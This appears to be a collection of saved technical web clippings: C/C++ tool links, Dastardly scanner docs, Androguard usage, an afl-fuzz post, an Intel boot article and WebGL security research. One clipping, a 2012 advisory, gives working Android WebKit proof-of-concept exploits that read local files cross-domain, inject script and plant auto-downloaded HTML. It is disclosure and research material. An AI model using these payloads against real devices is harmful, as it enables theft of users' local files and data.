  * Ch is an embeddable C/C++ interpreter for cross-platform scripting, shell programming, 2D/3D plotting, numerical computing, quick animation, and embedded scripting. Ch is a free and user-friendly alternative to C/C++ compilers for beginners to learn C/C++
  * EiC project \- this is a resurrected open source C Interpreter project. The new release includes enhancements that allows the C Interpreter to talk to logic simulation so that it can be used to drive simulation. This project bridges Software and logic simulation.
  * C-Free is a professional C/C++ integrated development environment \(IDE\) that support multi-compilers. Use of this software, user can edit, build, run and debug programs freely.
  * Free C/C++ Compilers and Interpreters
  * Code::Blocks is a free C++ IDE built to meet the most demanding needs of its users.
  * VisualDDK – develop/debug drivers directly from VS
  * Eclipse
    * Eclipse Downloads
    * Eclipse C/C++ Development Tooling – CDT
    * CDT Wiki page

## Tricks

  * Declaration matching
  * FIO19-C. Do not use fseek\(\) and ftell\(\) to compute the size of a file

## Articles

  * Идеи по усовершенствованию реализации библиотек на языке Си
  * Data-Oriented Design \(Or Why You Might Be Shooting Yourself in The Foot With OOP\)
  * A garbage collector for C and C++
  * Несколько слов о размере структур в С/С++ и о том, почему так получилось
  * Data alignment: Straighten up and fly right \(russian version\)
  * Что такое size\_t и ptrdiff\_t
  * Статический анализ кода C++
  * Разработка на PC и производительность — Memory Latency
  * C/C++ – Multithreading: Optimizations That Aren’t \(In a Multithreaded World\)
  * Поиск ошибок при работе с памятью
  * Создание собственного диспетчера памяти для проектов C/C++
  * Размещение объектов в оперативной памяти. Понятие указателя
  * Идеи по усовершенствованию реализации библиотек на языке Си \(On C Library Implementation\)
  * Обфускация строк C++ в Visual Studio
  * Profile-guided optimization \(далее PGO\) — техника оптимизации программы компилятором, нацеленная на увеличение производительности выполнения программы.

## Articles – Presentations

  * slideshare: Splint the C code static checker
  * Exception-Safe Coding in C++

## Articles – Libraries – Graphics

  * Работа с Clutter: Часть 1. Знакомство с библиотекой Clutter

## Articles – Libraries – Network

  * HTTPS & cURL

## Articles – Tools – CMake

  * CMake FAQ
  * Система сборки приложений CMake
  * CMake и Qt
  * Development/Tutorials/CMake \(ru\) \(KDE\)

# Integrating Dastardly with your CI/CD platform \(generic instructions\) -
PortSwigger

**Created:**| _10/29/2022 6:36:58 AM_  
---|---  
**Updated:**| _10/29/2022 6:36:58 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# Integrating Dastardly with your CI/CD platform \(generic instructions\)

  * **Last updated:** October 28, 2022 
  * **Read time:** 2 Minutes 

#### Note

Specific instructions are available for integrating Dastardly with the
following CI/CD platforms:

You can integrate Dastardly with any CI/CD platform. Integration enables you
to run Dastardly web vulnerability scans as a stage in your existing CI/CD
pipeline.

For information on the machine specification required to run Dastardly scans,
see the Dastardly system requirements.

To integrate Dastardly with your CI/CD pipeline, include the following docker
run command in your pipeline script:

`docker run --user $(id -u) --rm -v $(pwd):/dastardly -e
DASTARDLY_TARGET_URL=https://ginandjuice.shop -e
DASTARDLY_OUTPUT_FILE=/dastardly/dastardly-report.xml
public.ecr.aws/portswigger/dastardly:latest`

#### Note

You can set `DASTARDLY_TARGET_URL` to a seed URL for any application you want
to scan.

In this example, `DASTARDLY_TARGET_URL` is set to `https://ginandjuice.shop/`
\- this is a deliberately vulnerable web application designed for testing web
vulnerability scanners.

The next time your pipeline runs, Dastardly will scan the application you have
set under `DASTARDLY_TARGET_URL`.

#### Note

You need to set `DASTARDLY_OUTPUT_FILE` to a location mapped to a directory on
your machine - as in the example above.

The example above uses `$(pwd)` to map the `/dastardly` volume to your present
working directory.

The Dastardly output file is a JUnit XML report that can be parsed by any
JUnit XML parser.

If you run the command above multiple times, you will overwrite the JUnit
report written by Dastardly.

## Dastardly scan results

Dastardly scan results are available as a JUnit XML file when a scan is
complete. Scans run for a maximum of ten minutes.

### Remediation advice

Dastardly scan results include remediation advice for any security issues they
find. This advice includes links to relevant sections of the free Web Security
Academy resource, which provide further detail on web security
vulnerabilities.

### Evidence

Dastardly scan results include evidence for any security issues found. This
evidence includes the request sent by Dastardly to produce the issue, as well
as the response sent by the application.

Was this article helpful?

# Examples - funder - A brief collection of usage examples - funder = Format-
UNDERstander - Google Project Hosting

**Created:**| _4/6/2011 4:07:11 PM_  
---|---  
**Updated:**| _4/6/2011 4:07:11 PM_  
**Author:**| __  
**Tags:**| _bookmark analysis format_  
  

# Examples

Below are some brief usage examples \(**NOTE** I haven't made it pretty to use
via irb yet -- it'll spit out _tons_ of `inspect` data\):

This example creates a yellow png with a width of 10 and a height of 20 and
half transparency. For now, you might want to comment out in formats/png.rb
the different png chunks you don't need/want. Eventually I'll add in a more
elegant way to exclude defined fields.

[code]

    # formats/png.rb  
      
    class Png < Funder  
        field :png_header, Str, "\211PNG\r\n\032\n"  
        field :ihdr, IHDR  
        # field :chrm, CHRM  
        field :srgb, SRGB  
        # field :sbit, SBIT  
        # field :trns, TRNS  
        # field :gama, GAMA  
        # field :splt, SPLT, nil, :mult=>true, :mult_max=>2  
        # field :bkgd, BKGD  
        # field :plte, PLTE  
        # field :hist, HIST  
        # field :phys, PHYS  
        # field :time, TIME  
        field :idat, IDAT  
        # field :text, TEXT, nil, :mult=>true, :mult_max=>2  
        # field :ztxt, ZTXT, nil, :mult=>true, :mult_max=>2  
        # field :itxt, ITXT, nil, :mult=>true, :mult_max=>2  
        field :iend, IEND  
    end
[/code]

This is how I would create the previously described image:

[code]

    require 'formats/png'  
      
    p = Png.new  
      
    p.ihdr.data.width.value      = 10  
    p.ihdr.data.height.value     = 20  
    p.ihdr.data.color_type.value = 6  
    p.idat.data.alpha.value      = 0x80  
    p.idat.data.red.value        = 0xff  
    p.idat.data.green.value      = 0xff  
    p.idat.data.blue.value       = 0x00  
      
    File.open("test.png", "w") { |f| f.write p.to_out }
[/code]

Note that I didn't have to explicitly set the width and height of the actual
pixel data in the IDAT chunk. This is taken care of with lines 26,27,35, and
36:

[code]

     # formats/png.rb  
      
     23 class IDAT < Chunk  
     24     field :type_code, Str, "IDAT"  
     25     section(:data, action(ZlibDeflate)) do  
     26         unfield :height, Int, nil, :p=>'c'  
     27         unfield :width, Int, nil, :p=>'c'  
     28         unfield :alpha, Int, 255  
     29         unfield :red, Int, 255  
     30         unfield :green, Int, 255  
     31         unfield :blue, Int, 255  
     32         unfield :color_type, Int  
     33   
     34         field :pixel_data, Str, lambda {  
     35             w = width.value || @parent.parent.ihdr.data.width.value || rand(10)+1  
     36             h = height.value || @parent.parent.ihdr.data.height.value || rand(10)+1  
     37             c_type = color_type.value || @parent.parent.ihdr.data.color_type.value || 2  
     38             case c_type  
     39             when 2 # true color  
     40                 h.times.map do  
     41                     "\x00" +  
     42                     w.times.map do  
     43                         r = red.value || rand(256)  
     44                         g = green.value || rand(256)  
     45                         b = blue.value || rand(256)  
     46                         r.chr + g.chr + b.chr  
     47                     end.join  
     48                 end.join  
     49             when 6 # true color w/ alpha  
     50                 h.times.map do  
     51                     "\x00" +  
     52                     w.times.map do  
     53                         r = red.value || rand(256)  
     54                         g = green.value || rand(256)  
     55                         b = blue.value || rand(256)  
     56                         a = alpha.value || rand(255)  
     57                         r.chr + g.chr + b.chr + a.chr  
     58                     end.join  
     59                 end.join  
     60             else  
     61                 h.times.map do  
     62                     "\x00" +  
     63                     w.times.map do  
     64                         r = red.value || rand(256)  
     65                         g = green.value || rand(256)  
     66                         b = blue.value || rand(256)  
     67                         r.chr + g.chr + b.chr  
     68                     end.join  
     69                 end.join  
     70             end  
     71         }  
     72     end  
     73 end
[/code]

You _can_ explicitly set a different height/width than what is defined in the
IHDR chunk.

`formats/png.rb` was my guinea-pig for developing all of the functionality and
syntactic sugar. Looking over how it works will explain a lot. I don't think
I'll be adding any other data-formats I've defined to the repository though.
Gotta leave you some of the fun :^\)

Here's a basic example on how to define a data format with `Funder`:

[code]

    class A < Funder  
        field :NAME, CLASS, VALUE [, OPTIONS]  
    end
[/code]

You'll also notice that inheritance works quite nicely, as seen in the example
below, as well as in `formats/png.rb` where it is used to define the basic
structure of a chunk:

[code]

    class Item < Funder  
        field :name, Str  
        field :description, Str  
        field :price, Int, 0, :p=>'c'  
    end  
      
    class Lightsaber < Item  
        field :name, Str, "sword"  
        section :description do  
            field :color, Str, "green"  
            field :charge, Int, 87  
            field :previous_owner, Str, "Skywalker"  
        end  
        field :price, Int, 123, :p=>'f'  
    end
[/code]

Other functionality of note are actions, sections, conditional logic \(`If`
action\), lambdas for values of fields, and unfields. I'll explain these more
in a later example.

# Automating Simple Buffer Overflow with Winappdbg and Python -part 1

**Created:**| _12/16/2018 4:11:35 PM_  
---|---  
**Updated:**| _12/16/2018 4:11:35 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

Home>Automating Simple Buffer Overflow with Winappdbg and Python -part 1

# Automating Simple Buffer Overflow with Winappdbg and Python -part 1

October 19, 2017 mohitdabas Programmingdebugging-automation, mohit dabas,
mohit-dabas-blog, Python, winappdbg-scripting

Last night I did try to automate simple overflow with windbg but there were
some problems with the exception handling .so I want to choose a more
programmable debugger but this time I need a more documentation than pykd .so
after some time I stumbled upon winappdbg and it has got pretty good
documentation. Winappdbg website

So let’s roll our sleeves. I created a normal buffer overflow programme that
takes input from the command line and copies it in a buffer .the code for the
simple buffer is shown below

<img src='img/1278_1.png' width='407' height='283' alt='1' />

The function func1 is not related now but I will use this function in later
parts. for now only the main function matters

Link To Source Code

<img src='img/1281_2.png' width='679' height='944' alt='2' />

Link To Source Code

Now Here are the results.

<img src='img/1277_3.png' width='700' height='710' alt='3' />

<img src='img/1280_4.png' width='700' height='730' alt='4' />

<img src='img/1279_3.png' width='351' height='356' alt='3' />

<img src='img/1276_4.png' width='341' height='356' alt='4' />

**Stay Tune I will be Posting more on automation with winappdbg and python.**

<img src='img/giphy.gif' width='500' height='281' alt='giphy' />

Advertisements

### Share this:

  * Twitter
  * Facebook8
  * Google
  * 

Like

Be the first to like this.

### _Related_

No Sql Injection Experiment Guide part-1.In "Programming"

Leveraging A XSS Attack.In "Exploits"

Bypassing Authentication Using Javascript Debugger.In "Exploits"

# Post navigation

Using Virtual Environment In Python

No String Attached XSS

##  One thought on “Automating Simple Buffer Overflow with Winappdbg and
Python -part 1”

  1. **Automating Simple Buffer Overflow with Winappdbg and Python -part 1 | Lowmiller Consulting Group Blog**
December 10, 2018 at 5:24 am

\[…\] by /u/beyonderdabas \[link\] \[…\]

Like

Reply

### Leave a Reply

# Search

Search for:

# Archives

  * December 2018
  * September 2018
  * August 2018
  * January 2018
  * December 2017
  * October 2017
  * September 2017
  * August 2017
  * July 2017
  * May 2017
  * April 2017
  * March 2017

Advertisements

  

# bfuzzy/auditd-attack

**Created:**| _9/23/2018 9:00:26 AM_  
---|---  
**Updated:**| _9/23/2018 9:00:26 AM_  
**Author:**| _wishi_  
**Tags:**| _security tools Linux_  
  

  

# bfuzzy/auditd-attack

### Join GitHub today

GitHub is home to over 28 million developers working together to host and
review code, manage projects, and build software together.

Sign up

  

# Full Disclosure: Re: Trigerring Java code from a SVG image

**Created:**| _5/20/2012 4:32:53 PM_  
---|---  
**Updated:**| _5/20/2012 4:32:53 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
**Re: Trigerring Java code from a SVG image**

* * *
_From_ : Nicolas Grégoire <nicolas.gregoire \(\) agarri fr>  
_Date_ : Wed, 16 May 2012 19:29:11 +0200  

* * *
[code]

    
[/code]

>
[code]

>     Uploading a SVG chameleon (SVG file triggering a XSLT
>     transformation) to a website allows to display nearly arbitrary
>     content if the file is called directly.
>  
[/code]

[code]

    In order to demonstrate this point _and_ the weird Opera behavior, I put
    online a SVG chameleon and a HTML file calling it via <img>:
    http://www.agarri.fr/docs/svg2html.svg
    http://www.agarri.fr/docs/svg2html.html
    
    If the chameleon is called directly, Opera, Firefox and Webkit (IE
    untested) execute the HTML Javascript code located in the output
    document. Look at the DOM, there's no more reference to the source SVG
    file anymore.
    
    If the chameleon is called via <img>, only Opera renders the HTML output
    (without executing the Javascript). I didn't test if the inter-documents
    behavior is similar to the (i)frames one ... Screen-shot:
    http://www.agarri.fr/docs/opera-chameleon.png
    
    <shameless advertising>I'll demonstrate some additional XML/XSLT/SVG/...
    tricks at Hack in the Box Amsterdam next week</shameless advertising>
    
    Nicolas
    
[/code]  
---

# Androguard: Android's binary XML

**Created:**| _3/9/2011 11:28:26 AM_  
---|---  
**Updated:**| _3/9/2011 11:28:59 AM_  
**Author:**| __  
**Tags:**| _reversing android_  
  

### Android's binary XML

Hi \!

  

During the creation of the APK file, the AndroidManifest.xml is converted into
a binary XML file.

  

This format is not well documented, but you can find several tools to
transform this binary format in classic xml like axml2xml or AXMLPrinter. You
have also the aapt official tool to display the manifest into a human readable
format :

[code]

    $ aapt d xmltree yourapps.apk AndroidManifest.xml
    
[/code]

However, Androguard is in python and I need to have more information directly.
So I have translated the AXMLPrinter tool which is a java source code in a
python source code. So in thelatest commit, I added the support of the
Android's binary XML, and a specific tool if you would like to use it
externaly.

  

It's very useful to have quickly the permissions of the application, or
different entry points \(activity, service, receiver ..\).

  

If you would like to use the API, it's very simple. The first thing to do is
to import the dvm module, and to create a AXMLPrinter object :

[code]

    import dvm  
      
    ap = dvm.AXMLPrinter( open("apks/tmp/AndroidManifest.xml", "r").read() )  
    print ap.getBuff()  
      
    from xml.dom import minidom  
    print minidom.parseString( ap.getBuff() ).toxml()  
    print minidom.parseString( ap.getBuff() ).toprettyxml()  
    
    
[/code]

The getBuff function returns the xml buffer, you can validate the xml buffer
by using the minidom API.

  

In most cases, you have an APK file, and you would like to extract useful
information from the AndroidManifest.xml. You can create an APK object :

[code]

    import dvm  
      
    a = dvm.APK( "yourapps.apk" )  
    print a.xml[ "AndroidManifest.xml" ].toxml()  
    print a.xml[ "AndroidManifest.xml" ].toprettyxml()  
      
    # Get the classes.dex and continue the analysis ....  
    j = dvm.DalvikVMFormat( a.get_dex() )                                                                                                                                                                                             
    
[/code]

And you can extract application permissions, activities, services, receivers
...

[code]

    import dvm  
      
    a = dvm.APK( "yourapps.apk" )  
    print a.get_permissions()  
    print a.get_activity()  
    print a.get_service()  
    print a.get_receiver()  
    
    
[/code]

In fact the function "get\_elements" is doing the job for you by making
requests to the xml file :

[code]

    def get_activity(self) :  
    return self.get_elements("activity", "android:name")
    
[/code]

If you do not want to use the API, the androaxml.py program can help you :

[code]

    $ ./androaxml.py -h  
    Usage: androaxml.py [options]  
      
    Options:  
    -h, --help            show this help message and exit  
    -i INPUT, --input=INPUT  
                          filename input (APK or android's binary xml)  
    -o OUTPUT, --output=OUTPUT  
                          filename output of the xml  
    -v, --version         version of the API  
      
    $ ./androaxml.py -i yourfile.apk -o output.xml  
    $ ./androaxml.py -i AndroidManifest.xml -o output.xml
    
[/code]

The API must be updated to support more specific attributes, if you have bug,
please report it in the bugtrack.

  

I did a simple video to show how to use this new feature :

  
  

  

See ya \!

  

# Booting an Intel Architecture System, Part I: Early Initialization | Dr Dobb's
**Created:**| _1/3/2012 4:21:22 PM_  
---|---  
**Updated:**| _1/3/2012 4:21:22 PM_  
**Author:**| __  
**Tags:**| _x86_  
  

# Booting an Intel Architecture System, Part I: Early Initialization

By Pete Dice, December 26, 2011

Post a Comment

The boot sequence today is far more complex than it was even a decade ago.
Here's a detailed, low-level, step-by-step walkthrough of the boot up.  

Taking a lot of little steps along a path is a good analogy for understanding
boot flow in Intel Architecture-based systems. The minimum firmware
requirements for making a system operational and for booting an operating
system are presented in this article. The vast majority of systems perform
these steps in this article to do a full or cold boot. Depending on the
architecture of the BIOS, there may be multiple software phases to jump
through with different sets of rules, but the sequence for waking up the
hardware is, at least in the early phases, very much the same.

### Hardware Power Sequences: The Pre-Pre-Boot

When someone pushes the power button, the CPU can't simply jump up and start
fetching code from flash memory. When external power is first applied, the
hardware platform must carry out a number of tasks before the processor can be
brought out of its reset state.

The first task is for the power supply to be allowed to settle down to its
nominal state. Once the primary power supply settles, there are usually a
number of derived voltage levels needed on the platform. For example, on the
Intel Architecture reference platform the main input supply is a 12-volt
source, but the platform and processor require voltage rails of 1.5, 3.3, 5,
and 12 volts. Voltages must be provided in a particular order, a process known
as power sequencing. The power is sequenced by controlling analog switches,
typically field-effect transistors. The sequence is often driven by a Complex
Program Logic Device \(CPLD\).

Platform clocks are derived from a small number of input clock and oscillator
sources. The devices use phase-locked loop circuitry to generate the derived
clocks used for the platform. These clocks take time to converge.

It is only after all these steps have occurred that the power-sequencing CPLD
can de-assert the reset line to the processor, as illustrated in Figure 1.
Depending on integration of silicon features, some of this logic may be on
chip and controlled by microcontroller firmware that starts prior to the main
processor.

<img src='img/Temp2_1127.gif' />

**Figure 1: An overview of power sequencing.**

  

A variety of subsystems may begin prior to the main host system.

The Intel Manageability Engine \(ME\), available on some mainstream desktop
and server-derived chips, is one such component. The main system firmware does
not initialize the devices composing the ME. However, there is likely to be
some level of interaction that must be taken into account in the settings of
the firmware, or in the descriptors of the flash component, for the ME to
start up and enable the clocks correctly. The main system firmware also has
the potential to make calls and be called from the ME.

Another example is micro engines, which are telecommunications components used
in the embedded-systems world. Micro engines have their own firmware that
starts independently of the system BIOS. The host system's BIOS must make
allowances for them in the Advanced Configuration and Power Interface \(ACPI\)
memory map to allow for proper interaction between host drivers and the micro-
engine subsystem.

Once the processor reset line has been de-asserted, the processor begins
fetching instructions. The location of these instructions is known as the
reset vector. The reset vector may contain instructions or a pointer to the
starting instructions in flash memory. The location of the vector is
architecture-specific and usually in a fixed location, depending on the
processor. The initial address must be a physical address, as the Memory
Management Unit \(MMU\), if it exists, has not yet been enabled. The first
fetching instructions start at` 0xFFF, FFF0`. Only 16 bytes are left to the
top of memory, so these 16 bytes must contain a far jump to the remainder of
the initialization code. This code is always written in assembly at this point
as there is no software stack or cache RAM available at this time.

Because the processor cache is not enabled by default, it is not uncommon to
flush cache in this step with a `WBINV `instruction. The `WBINV` is not needed
on newer processors, but it doesn't hurt anything.

# lcamtuf's blog: afl-fuzz: crash exploration mode

**Created:**| _11/25/2014 11:52:53 AM_  
---|---  
**Updated:**| _11/25/2014 11:52:53 AM_  
**Author:**| __  
**Tags:**| _Fuzzer_  
  

# afl-fuzz: crash exploration mode

One of the most labor-intensive portions of any fuzzing project is the work
needed to determine if a particular crash poses a security risk. A small
minority of all fault conditions will have obvious implications; for example,
attempts to write or jump to addresses that clearly come from the input file
do not need any debate. But most crashes are more ambiguous: some of the most
common issues are NULL pointer dereferences and reads from oddball locations
outside the mapped address space. Perhaps they are a manifestation of an
underlying vulnerability; or perhaps they are just harmless non-security bugs.
Even if you prefer to err on the side of caution and treat them the same, the
vendor may not share your view.  
  
If you have to make the call, sifting through such crashes may require
spending hours in front of a debugger - or, more likely, rejecting a good
chunk of them based on not much more than a hunch. To help triage the findings
in a more meaningful way, I decided to add a pretty unique and nifty feature
to _afl-fuzz_ : the brand new **crash exploration mode** , enabled via _-C_.  
  
The idea is very simple: you take a crashing test case and give it to _afl-
fuzz_ as a starting point for the automated run. The fuzzer then uses its
usual feedback mechanisms and genetic algorithms to see how far it can get
within the instrumented codebase while still keeping the program in the
crashing state. Mutations that stop the crash from happening are thrown away;
so are the ones that do not alter the execution path in any appreciable way.
The occasional mutation that makes the crash happen in a subtly different way
will be kept and used to seed subsequent fuzzing rounds later on.  
  
The beauty of this mode is that it very quickly produces a small corpus of
related but somewhat different crashes that can be effortlessly compared to
pretty accurately estimate the degree of control you have over the faulting
address, or to figure out whether you can get past the initial out-of-bounds
read by nudging it just the right way \(and if the answer is yes, you probably
get to see what happens next\). It won't necessarily beat thorough code
analysis, but it's still pretty cool: it lets you make a far more educated
guess without having to put in any work.  
  
As an admittedly trivial example, let's take a suspect but ambiguous crash in
_unrtf_ , found by _afl-fuzz_ in its normal mode:  
  
`unrtf[7942]: segfault at 450 ip 0805062b sp bf957e60 error 4 in
unrtf[8048000+1c000]`  
  
When fed to the crash explorer, the fuzzer took just several minutes to notice
that by changing _\{\cb-44901990_ to printable representations of other
negative integers, it could quickly trigger faults at arbitrary addresses of
its choice, corresponding mostly-linearly to the integer set:  
  
`unrtf[28809]: segfault at 88077782 ip 0805062b sp bff00210 error 4 in
unrtf[8048000+1c000]  
unrtf[26656]: segfault at 7271250 ip 0805062b sp bf957e60 error 4 in
unrtf[8048000+1c000]`  
  
Given a bit more time, it would also almost certainly notice that choosing
values within the mapped address space get it past the crashing location and
permit even more fun. So, automatic exploit writing next?

# www.80vul.com/android/android-0days.txt

**Created:**| _2/8/2012 6:20:28 PM_  
---|---  
**Updated:**| _2/8/2012 6:20:31 PM_  
**Author:**| __  
**Tags:**| _Exploit research webkit bugs_  
  

[code]

    Android  Multiple  Vulnerabilities 
    
    Author: www.80vul.com [Email:5up3rh3i#gmail.com]
    Release Date: 2012/2/8
    References: http://www.80vul.com/android/android-0days.txt
    
    
    Ph4nt0m Webzine 0x06 has been released[http://www.80vul.com/webzine_0x06/],there three papers on the android application security about the development environment,browser security, inter-application communication.And published a lot of 0days:
    
    [0day-NO.0] android-webkit local cross-domain vulnerability
    
    android-webkit allow local html files cross any http domain and the local file.demo:
    
    <script>
    var request = false;
            if(window.XMLHttpRequest) {
                request = new XMLHttpRequest();
                if(request.overrideMimeType) {
                    request.overrideMimeType('text/xml');
                }
            } else if(window.ActiveXObject) {
                var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 
                'Microsoft.XMLHTTP', 
                'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 
                'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
                for(var i=0; i<versions.length; i++) {
                    try {
                        request = new ActiveXObject(versions[i]);
                    } catch(e) {}
                }
            }
                   
    xmlhttp=request;
    
    //xmlhttp.open("GET", "file://///default.prop", false);
    //xmlhttp.open("GET", "http://www.80vul.com/", false);
    xmlhttp.send(null);
    var ret = xmlhttp.responseText;
    
    alert(ret);
    </script>
    
    [0day-NO.1] android-webkit cross-protocol vulnerability
    
    this vul allow cross to the file protocol from http. demo:
    
    <iframe name=f src="location.php" ></iframe> 
    <script> 
    function init(){ 
      f.location = "file:///default.prop"; 
    } 
    setTimeout(init,5000) 
    </script> 
    
    location.php codz:
    <?php
    header("Location:file:///80vul.com");
    ?>
    
    [0day-NO.2] android-webkit file:// protocol xss vulnerability
    
    ON android-webkit File:// protocol, the lack of filtering on the directory and file name,Lead to cross-site scripting attacks. demo:
    
    visit this : file:///80vul.com/<script>alert(1);</script> 
    
    [0day-NO.3] android-browser/firefox auto download the file vulnerability
    
    android-browser/firefox Handle the Content-Disposition: attachment, lack of safety tips.So through this vul allows users to automatically download the evil html file to the local directory.
    
    test this code:
    
    <? 
    //autodown.php
    header("Content-Disposition: attachment:filename=autodown.htm"); 
    $data=<<<android_xss_go
    <script>alert(/xss/);</script>
    android_xss_go;
    print $data;
    ?>
    
    the local file name and the path:
    
    android 1.x --> /sdcard/download/autodown.html
    android 2.x-3.x --> /sdcard/download/autodown.htm
    android 4.0 --> /sdcard/download/autodown.php
    firefox  --> /sdcard/download/autodown.php
    
    So,Let's play a jigsaw puzzle:
    
    POC[1]:
    //[0day-NO.1]+[0day-NO.2]
    <iframe name=f src="location.php" ></iframe> 
    <script> 
    function init(){ 
      f.location = "file:///ssss<sc"+"ript>alert(1);</sc"+"ript>/";
    } 
    setTimeout(init,5000) 
    </script> 
    
    POC[2]:
    //[0day-NO.1]+[0day-NO.3]
    <meta http-equiv="refresh" content="0;URL=autodown.php"/> 
    <iframe name=f src="location.php" ></iframe> 
    <script> 
    function init(){ 
      f.location = "file:///sdcard/Download/autodown.htm"; 
    } 
    setTimeout(init,5000) 
    </script> 
    
    Now ,We can execute arbitrary js code on the local domain, and we can cross any http domain and the local file used [0day-NO.0].
    
    and go on ...
    
    [0day-NO.4] webview.loadDataWithBaseURL() cross-protocol vulnerability
    
    By controlling the second argument of webview.loadDataWithBaseURL(),can cross the file:// protocol use javascript,like <script>window.location='file://///default.prop';</script> .so the dome apk demo:
    
            WebView webview;
            webview = (WebView) findViewById(R.id.webview);
            webview.getSettings().setJavaScriptEnabled(true);
            webview.setWebChromeClient(new WebChromeClient());
            String data="80vul<script>window.location='file://///default.prop';</script>";
            webview.loadDataWithBaseURL("http://www.baidu.com/", data, "text/html", "utf-8", null);
    
    
    [0day-NO.5] com.htc.googlereader XSS vulnerability
    
    com.htc.googlereader is an app on HTC Mobile [G10], there is a xss vul on this app, then Decompilation and Found this codz:
    
            label399: String str = this.mHeadlineShown.getSummary();
            if (str.trim().contains("<iframe"))
            {
              this.mWebView.loadData(str, "text/html", "utf-8");
              break label246;
            }
            this.mWebView.loadDataWithBaseURL("http://", str, "text/html", "utf-8", null);
            break label246;
            
    the "str" have no filter and  can be controlled by evil RSS:
    
    
            <item>
                <guid>http://www.80vul.com</guid>
                <title>0day-NO.5</title>
                <link>http://www.80vul.com</link>
                <description><![CDATA[aa&lt;script src=&apos;http://www.80vul.com/xss.js&apos;&gt;&lt;/script&gt;]]></description>
                <dc:creator>80vul</dc:creator>
                <category>anddoid</category>
                <pubDate>Sun, 04 Sep 2011 13:01:40 -0500</pubDate>
            </item>
    
    When  opens the unread status of the rss, u can get the XSS vul. and this is mWebView.loadDataWithBaseURL(),so can cross file:// by [0day-NO.4].
    
    
    [0day-NO.6] Some Browsers for android Cross-Application Scripting Vulnerability
    
    the evil app can cross browser and execute arbitrary js code on the local domain. the demo app codz:
    
    //codz base on http://blog.watchfire.com/files/advisory-android-browser.pdf
    package com.x;
    //opera 
    //com.opera.browser com.opera.Opera
    
    //firefox 
    //org.mozilla.firefox org.mozilla.firefox.App
    
    //android
    //com.android.browser com.android.browser.BrowserActivity
    
    import android.app.Activity;
    import android.content.ComponentName;
    import android.content.Intent;
    import android.net.Uri;
    import android.os.Bundle;
    
    public class TesttestActivity extends Activity {
    	static final String mPackage = "com.android.browser";
    	static final String mClass = "com.android.browser.BrowserActivity";
    	static final String gomPackage = "com.opera.browser";
    	static final String gomClass = "com.opera.Opera";
    	static final String mUrl = "http://www.80vul.com/autodown.php";
    	static final int mSleep = 15000;
    	@Override
    	public void onCreate(Bundle savedInstanceState) {
    	super.onCreate(savedInstanceState);
    	setContentView(R.layout.main);
    	startBrowserActivity(mUrl);
    	try {
    	Thread.sleep(mSleep);
    	}
    	catch (InterruptedException e) {}
    	startBrowserActivitygo("file:///sdcard/Download/g.htm");
    	}
    	private void startBrowserActivity(String url) {
    	Intent res = new Intent("android.intent.action.VIEW");
    	res.setComponent(new ComponentName(mPackage,mClass));
    	res.setData(Uri.parse(url));
    	startActivity(res);
    	}
    	private void startBrowserActivitygo(String url) {
    	Intent res = new Intent("android.intent.action.VIEW");
    	res.setComponent(new ComponentName(gomPackage,gomClass));
    	res.setData(Uri.parse(url));
    	startActivity(res);
    	}
    }
    
    
[/code]

Vimium has been updated to 1.30.x

# Congress97Flyer.jpeg \(JPEG Image, 600x849 pixels\) - Scaled \(74%\)

**Created:**| _1/4/2012 10:43:43 PM_  
---|---  
**Updated:**| _1/4/2012 10:43:43 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Temp2_1583.jpg' width='449' height='636'
alt='http://events.ccc.de/congress/1997/Congress97Flyer.jpeg' />

# Context

**Created:**| _6/21/2011 8:05:34 AM_  
---|---  
**Updated:**| _6/21/2011 8:05:49 AM_  
**Author:**| __  
**Tags:**| _attacks web Opengl_  
  

# **WebGL – More WebGL Security Flaws**<img src='img/Temp2_1597.gif' />

**James Forshaw, Paul Stone, Michael Jordon**

##### **16th June 2011**

## **Summary**

In this blog post Context demonstrates how to steal user data through web
browsers using a vulnerability in Firefox’s implementation of WebGL. This is a
continuation of our research into serious design flaws that could affect any
browser which implements WebGL, currently Chrome and Firefox.

Context has been researching the new 3D graphics technology, WebGL, which
allows web pages to draw fast 3D graphics in a similar manner to computer
games. This exciting technology has the capability to deliver a much richer
experience to web users.

However, to enable this impressive breakthrough in online technology, web
browsers \(currently Chrome and Firefox\) have had to expose low level parts
of their operating systems which previously could not be directly accessed by
potentially malicious web pages, thus creating a number of potential security
vulnerabilities.

Context identified this \(and other\) issues with WebGL by evaluating Chrome
and Firefox WebGL implementations against the conformance test suite devised
by Khronos, the consortium which draws up the WebGL specification. We have
established that none of the current implementations comply with this
standard.

Furthermore, Context’s research found that Khronos’ recommended defence
against the DoS issue \(WebGL\_ARB\_robustness\) is not fit for purpose.
First, only certain chipsets and operating systems \(NVidia on Windows and
Linux\) support this feature. Moreover, this extension only offers mitigation,
not a comprehensive solution to WebGL DoS issues.

In the video below, we show how anyone running Firefox 4 with WebGL support is
vulnerable to having malicious web pages capture screenshots of any window on
their system. These screenshots could be of other web pages, the user’s
desktop and other applications that run on their system.

## **Background**

In our first blog Context outlines serious security concerns related to the
use of WebGL. We were able to steal images from other web pages and crash
people’s machines \(Denial of Service, or DoS\) from a malicious website.
These examples showed the danger of allowing malicious code to run on graphics
cards which were never designed to defend against this threat. After reviewing
our previous work Firefox has now removed support for cross-domain images
\(https://hacks.mozilla.org/2011/06/cross-domain-webgl-textures-disabled-in-
firefox-5\); while Khronos is updating the WebGL specification to include
protection from DoS \(using a new OpenGL extension GL\_ARB\_robustness\) and
Cross-Origin Resource Shading \(CORS\) attacks
\(http://www.khronos.org/news/permalink/webgl-security\). The fact that it is
doing so begs the question as to whether this technology was specified,
designed and implemented with security in mind.

The problems we identified in our first blog were examples of the types of
issues that can be created as a result of WebGL use. It is not totally
unexpected or unusual for there to be security issues associated with a new
technology, but it is crucial that the standard and the correct mitigation
processes are quickly adjusted once such problems are identified to ensure
that end user security is not compromised. To this end Context reviewed the
conformance tests that Khronos has provided for WebGL vendors to use in
assessing compliance to the standard. Through this work Context has discovered
that neither Chrome nor Firefox passed the Khronos tests, including a number
that are directly related to security. Context then explored the consequences
